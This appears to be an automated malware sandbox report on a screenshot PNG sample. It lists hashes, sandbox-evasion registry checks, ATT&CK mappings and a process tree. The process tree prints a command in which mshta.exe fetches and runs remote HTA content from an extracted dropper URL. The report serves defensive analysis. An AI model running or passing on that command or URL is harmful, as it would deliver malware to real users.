a38f399621857ed409548973dffb230bad75a4c71ad8ff6bb5868b9c2ac93059

Resubmissions

22/07/2026, 15:31

260722-sycz7atzgv10

22/07/2026, 14:06

260722-ref23asxhw10

22/07/2026, 14:00

260722-rbd4assxes10

22/07/2026, 13:58

260722-q97ylaaq3t10

Analysis

user interaction
yes
max time kernel
78s
max time network
80s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-de
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 14:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Screenshot 2026-06-07 162407.png
Size 86KB
Sample260722-rbd4assxes
SHA256 a38f399621857ed409548973dffb230bad75a4c71ad8ff6bb5868b9c2ac93059
MD5 eab64b46ee1e5ac8ecc29dc939fd142a
SHA1 9f347ff129a748fa2e34634d9e5a39232366f881
SHA512 fc36da6684fe2cdc2a19507af222575941a3734ec2b0a0eafba420c02470622fa10b390eb58c4595a99688bdfee968c1ad456e39e2c62b8493dbd07176b7d89b
SSDEEP 1536:7GOyYyNFb0Tjc0s5VX3FXc8wGAMKb0HmJFDaDWmVhvvJe9HtSJ+DuXL5pJhplAmN:KOyRb03ns73NtwGrYDaCm3U9HwJtZqmN
TLSH
T15A8302D0373AC871CF1A6751FB91ECDDF4EB85AB92A01365193CBABB5793A3E4448081
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://rig-gamble.up.railway.app/

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
24	5776	mshta.exe
26	5776	mshta.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2184	mspaint.exe
2184	mspaint.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2184	mspaint.exe
2184	mspaint.exe
2184	mspaint.exe
2184	mspaint.exe

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\Screenshot 2026-06-07 162407.png"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Checks SCSI registry key(s)
PID:4012

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://rig-gamble.up.railway.app/
1⤵
- Badlisted process makes network request
PID:5776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads